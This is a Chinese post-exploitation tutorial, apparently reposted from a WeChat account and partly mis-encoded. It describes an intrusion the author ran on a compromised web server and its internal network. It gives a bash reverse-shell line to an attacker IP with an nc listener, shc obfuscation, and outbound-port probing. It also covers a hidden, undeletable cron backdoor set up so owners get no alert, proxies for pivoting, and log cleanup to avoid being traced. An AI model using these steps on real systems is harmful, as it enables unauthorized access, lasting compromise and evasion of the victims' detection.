繞php的disable_functions 此處建議用AntSword的官方繞過插件全自動(dòng)繞
繞過失敗的可以手動(dòng)試一下
另外,可以看一下web程序存的數(shù)據(jù)庫的用戶名和密碼,然后看一下數(shù)據(jù)庫能不能利用,比如寫文件或者寫日志,以及各種提權(quán),如果繞過disable_functions失敗,數(shù)據(jù)庫也不能利用的可以看一下目標(biāo)服務(wù)器上都有什么文件,比如其他站點(diǎn)或者其他可以利用的東西,如果限制了訪問目錄那就只能留著以后再看了
隱藏ip
隱藏攻擊ip還是很重要的,不然容易被溯源,可以上cdn或者用云函數(shù)等 但是此處也是有大坑的,能訪問國外服務(wù)器的目標(biāo)機(jī)器就好辦了,直接上就行,但是不能訪問國外服務(wù)器的目標(biāo)機(jī)器,首先用Cloudflare比較卡,其次用國內(nèi)的云服務(wù)商的則需要實(shí)名,而且費(fèi)用也不低,所以實(shí)在沒辦法就別隱藏ip了,此處我也沒有隱藏ip
加密bash反彈shell
正常的bash反彈shell: 目標(biāo)機(jī)器反彈shell:
bash -i >& /dev/tcp/攻擊機(jī)的ip/攻擊機(jī)接收shell的端口 0>&1
攻擊機(jī)接收反彈來的shell:
nc -lvvp 攻擊機(jī)接收shell的端口
//netcat版本低時(shí)l和p參數(shù)不兼容,可以nc -lvv port監(jiān)聽端口
這個(gè)repository加密一下bash腳本,加密后會(huì)生成一個(gè)c源代碼文件和編譯之后的二進(jìn)制文件,把編譯之后的二進(jìn)制文件傳到目標(biāo)機(jī)器上執(zhí)行就行了,可以彌補(bǔ)一下目標(biāo)機(jī)器在國內(nèi)時(shí)不便于隱藏攻擊ip的缺陷
本地執(zhí)行:
./shc -Uvrf reverse.sh -o reverse
把生成的reveser傳到目標(biāo)機(jī)器上,執(zhí)行:
./reverse
webshell提供的shell環(huán)境限制很多,所以最好先反彈shell,盡量不要正向連接shell,開個(gè)端口動(dòng)靜太大
首先是不能彈shell的情況,比如相關(guān)的bash,nc等命令都被限制了,那先嘗試提權(quán)
能彈shell但是接收不到的時(shí)候,可以看一下目標(biāo)是不是限制出網(wǎng)或者限制出站端口
如果限制出網(wǎng)那就先嘗試提權(quán),如果限制出站端口可以批量試一下常見的端口,在自己的vps上,通過nginx監(jiān)聽多個(gè)端口來快速啟動(dòng)多個(gè)端口,然后再在目標(biāo)機(jī)器上上傳個(gè)sh腳本,批量curl自己vps的指定端口,最后看一下結(jié)果就可以了,nmap ---top-ports 100或1000可以掃描nmap整理的100或1000個(gè)最常用的端口,可以參考一下
測試出網(wǎng)端口的具體步驟:
1.在正常的nginx配置文件中找到listen port,在后面復(fù)制一行,把port改成自己想開放的端口,重啟nginx
2.寫一個(gè)sh腳本,內(nèi)容就是每行都curl想測試的端口:curl vps:port
3.傳到目標(biāo)機(jī)器上,運(yùn)行并且重定向到文件里:./shfile > result.txt
4.查看result.txt中的結(jié)果,就可以看到哪些端口能出網(wǎng),nmap ---top-ports 100和nmap ---top-ports 1000可以查看nmap整理的100和1000個(gè)最常用的端口,可以參考一下
成功收到shell的時(shí)候,依舊是個(gè)很難用的shell,可以再升級(jí)成完全的shell再用,升級(jí)之后和真實(shí)shell一樣,非常舒服
# 攻擊機(jī)本地執(zhí)行# 首先檢查當(dāng)前終端和STTY信息$ echo $TERM$ stty -a# 查看輸出的rows和columns,后面配置用
此處的這些操作是重復(fù)性的,和具體設(shè)備無關(guān),所以用xshell的可以寫個(gè)xshell的腳本或者錄制個(gè)xshell的腳本,不過我這邊錄制的時(shí)候生成的腳本內(nèi)容總是為空,應(yīng)該是個(gè)bug,也沒時(shí)間研究寫xshell的腳本了,所以直接用按鍵精靈寫了個(gè)
畢竟按鍵精靈只是模仿輸入,不能獲取到結(jié)果,所以每一步都是只輸入,不回車,需要自己回車,而且每一次輸入之后會(huì)多監(jiān)聽一次任意按鍵事件,以防想暫停
如果想把這個(gè)shell關(guān)了,或者這個(gè)shell接收到了內(nèi)網(wǎng)的其他shell,然后想把接收到的其他shell關(guān)了,需要輸入兩次exit退出,然后可能shell的格式是亂的,這時(shí)候reset一下就好了
在攻擊機(jī)上肯定不可能直接就接收shell,如果本地和攻擊機(jī)的shell連接斷了,那么攻擊機(jī)和目標(biāo)機(jī)器的shell也就斷了,或者想把攻擊機(jī)接收到的shell掛在后臺(tái),也不能直接接收shell,此處我推薦使用screen,類似于windows下的多窗口,接收shell的時(shí)候新開一個(gè)screen掛在后臺(tái),不用的時(shí)候就在后臺(tái)掛著,用的時(shí)候切過去用就可以了
screen的簡單使用教程:
1.screen -S 這個(gè)screen會(huì)話的名字創(chuàng)建一個(gè)screen
2.在screen的會(huì)話中時(shí),快捷鍵ctrl+a,ctrl+d把當(dāng)前screen放在后臺(tái)
3.screen -r screen會(huì)話的名字恢復(fù)一個(gè)screen
4.在screen的會(huì)話中exit可以退出screen
5.一些小技巧:
1.`screen -list`查看所有的screen會(huì)話
2.`screen -list`會(huì)顯示相應(yīng)對(duì)話的pid,通過`kill -9 pid`也可以關(guān)閉相應(yīng)的screen會(huì)話
3.`screen -d screen會(huì)話的名字`可以將一個(gè)正在活動(dòng)的screen放到后臺(tái)
4.如果在screen中嵌套了screen,那么快捷鍵ctrl+a,ctrl+a,ctrl+d可以把第二層screen放在第一層的后臺(tái),快捷鍵ctrl+a,ctrl+d是不論嵌套幾層screen都會(huì)把最外層的screen放在后臺(tái)的
低權(quán)限提權(quán)
首先是信息收集,看一下/proc/version和/etc/*-release,然后在google和Exploit Database上找一下,同時(shí)看看打沒打補(bǔ)丁,如果目標(biāo)機(jī)器不能編譯的話可以在自己的機(jī)器上編譯好了傳過去 此處也發(fā)現(xiàn)了幾個(gè)提權(quán)工具,不過我試了一下不是很好用,都是靠版本來判斷的,和手動(dòng)搞一樣
權(quán)限維持
切記要做持久化,不然辛辛苦苦拿的shell可能就要重新拿或者沒了,方法很多,可以google搜一下,與時(shí)俱進(jìn),用最新的東西,下面是一種我常用的權(quán)限維持的方式:
cron計(jì)劃任務(wù)權(quán)限維持比較簡單,當(dāng)然也比較明顯:
建議用前面說的shc加密,上傳生成的二進(jìn)制文件,用這個(gè)二進(jìn)制文件彈shell,安全性高一點(diǎn)
上傳之后:
1.先chmod +x 二進(jìn)制文件給一下權(quán)限
2.然后在名字前面加個(gè).變?yōu)殡[藏文件(ls -a可以查看隱藏文件)
3.再嘗試一下chattr +i 二進(jìn)制文件(chattr -i 二進(jìn)制文件可以解除鎖定)防止刪除,有相應(yīng)的權(quán)限才能成功執(zhí)行這條命令
4.最后把這個(gè)文件放在安全又隱秘的位置,
配置cron計(jì)劃任務(wù)時(shí),如果是root用戶,那就在/etc/crontab里添加,如果不是root用戶,那就用crontab -e添加,注意crontab -e需要交互式shell,理論上來說非root用戶的cron存在/var/spool/crond下(CentOS),可以直接編輯相應(yīng)的文件,但是非root用戶通常沒有權(quán)限直接編輯,所以還是需要獲取交互式shell然后crontab -e添加
root用戶在/etc/crontab里添加的計(jì)劃任務(wù),通過crontab -l或crontab -e是看不到的
/etc/crontab里應(yīng)該有默認(rèn)的配置和默認(rèn)的例子,crontab -e沒有,不管是怎么寫cron,都建議使用以下配置:
在寫cron之前先執(zhí)行$PATH查看環(huán)境變量并復(fù)制,然后再寫cron
首先第一行配置為SHELL=+相應(yīng)的shell位置,第二行配置為PATH=+默認(rèn)的(如果有的話)加上前面的$PATH,第三行配置為MAILTO="",第三行的意義是計(jì)劃任務(wù)的執(zhí)行結(jié)果不給用戶發(fā)郵件,因?yàn)橛?jì)劃任務(wù)反彈shell是不停的反彈,但是攻擊機(jī)如果之前接收到的shell還沒關(guān)端口被占用著彈shell就失敗了就會(huì)報(bào)錯(cuò)然后發(fā)郵件,發(fā)了郵件的話每次執(zhí)行命令都會(huì)提示,很容易就被發(fā)現(xiàn)了
最后配置計(jì)劃任務(wù):
root用戶配置為* * * * * root /要執(zhí)行的命令或文件
非root用戶配置為* * * * * /要執(zhí)行的命令或文件
如果要修改執(zhí)行的間隔可以研究一下cron的語法,上面的是每分鐘彈一次shell
內(nèi)網(wǎng)
信息收集
激動(dòng)人心的時(shí)刻來了,打內(nèi)網(wǎng) 因?yàn)槲夷玫降膕hell都是linux下的,沒有類似windows上的域控等等,所以此處就掃掃端口,此處可以用nmap,也可以用fscan,強(qiáng)烈推薦fscan,用一次就上癮,很好用
搭建代理
有些內(nèi)網(wǎng)ip的端口上跑的比如網(wǎng)站等等在命令行不太好滲透,而且有些內(nèi)網(wǎng)ip是不出網(wǎng)的,只能通過我們打下來的這個(gè)邊界服務(wù)器來訪問,所以建個(gè)代理還是很有必要的
此處我推薦用frp,然后依舊遵循動(dòng)靜小點(diǎn)的原則,不在目標(biāo)機(jī)器上開端口,在自己的vps上架設(shè)frp的服務(wù)端,在目標(biāo)機(jī)器上架設(shè)frp的客戶端,然后在客戶端啟用socks5代理插件,這會(huì)在服務(wù)端上開一個(gè)你指定的端口用來做socks5代理,可以配置用戶名和密碼,還可以遠(yuǎn)程連接,同時(shí)可以搭配其他軟件做ip的黑白名單,非常好用,本地配置代理Windows建議用Proxifier,Linux建議用proxychains-ng(proxychains4)
另外也可以用Neo-reGeorg,直接上傳個(gè)php/jsp等文件就可以建socks5代理,也很好用,對(duì)比frp一個(gè)優(yōu)點(diǎn)是只傳文件不用執(zhí)行命令就可以建代理,另一個(gè)優(yōu)點(diǎn)是不用在目標(biāo)機(jī)器上額外在后臺(tái)掛一個(gè)程序
內(nèi)網(wǎng)滲透
其實(shí)和前面的web滲透一樣,只不過有些應(yīng)用在內(nèi)網(wǎng)比較常見,所以需要去了解一下,搜一下有什么漏洞
fscan本身會(huì)檢測漏洞,比如各種未授權(quán)訪問,也會(huì)爆破一些端口的服務(wù),比如mysql,ssh或者Tomcat的Manager App的弱口令等
一個(gè)C段可以見識(shí)不少東西,打了一遍下來竟然天亮了...一天一夜過去了
具體就不細(xì)說了,遇見哪個(gè)搜哪個(gè),這個(gè)C段遇到的web程序基本都是java系的,還有一些python系的
內(nèi)網(wǎng)不出網(wǎng)反彈shell
目標(biāo)機(jī)器如果不出網(wǎng)可以反彈到已經(jīng)打下來的內(nèi)網(wǎng)機(jī)器上,也可以再把反彈的端口轉(zhuǎn)發(fā)到vps上,實(shí)現(xiàn)通過轉(zhuǎn)發(fā)出網(wǎng)
通過ncat轉(zhuǎn)發(fā)出網(wǎng):
中轉(zhuǎn)的機(jī)器執(zhí)行:
ncat -l 中轉(zhuǎn)機(jī)器接收內(nèi)網(wǎng)反彈來的shell的端口 -c 'ncat 攻擊機(jī)的ip 攻擊機(jī)的端口'
這樣攻擊機(jī)就可以接收到不出網(wǎng)的設(shè)備彈的shell,唯一的缺點(diǎn)就是中轉(zhuǎn)的機(jī)器要占用個(gè)端口 中不中轉(zhuǎn)對(duì)于不出網(wǎng)的設(shè)備的權(quán)限維持都是一樣的,主要的區(qū)別就是在vps上連不出網(wǎng)的設(shè)備方便點(diǎn)
痕跡清理
主要是命令的歷史記錄和日志文件,不過基本清不干凈,而且有些地方記錄了也清不到,隱藏攻擊ip比較萬能
下面是一個(gè)簡單粗暴的清理方式,如無必要不建議使用:
審核編輯:劉清
-
Web
+關(guān)注
關(guān)注
2文章
1253瀏覽量
69057 -
服務(wù)器
+關(guān)注
關(guān)注
12文章
8701瀏覽量
84554 -
數(shù)據(jù)庫
+關(guān)注
關(guān)注
7文章
3712瀏覽量
64025 -
Shell
+關(guān)注
關(guān)注
1文章
359瀏覽量
23192
原文標(biāo)題:干貨|后滲透及內(nèi)網(wǎng)初體驗(yàn)的總結(jié)
文章出處:【微信號(hào):magedu-Linux,微信公眾號(hào):馬哥Linux運(yùn)維】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。
發(fā)布評(píng)論請(qǐng)先 登錄
相關(guān)推薦
評(píng)論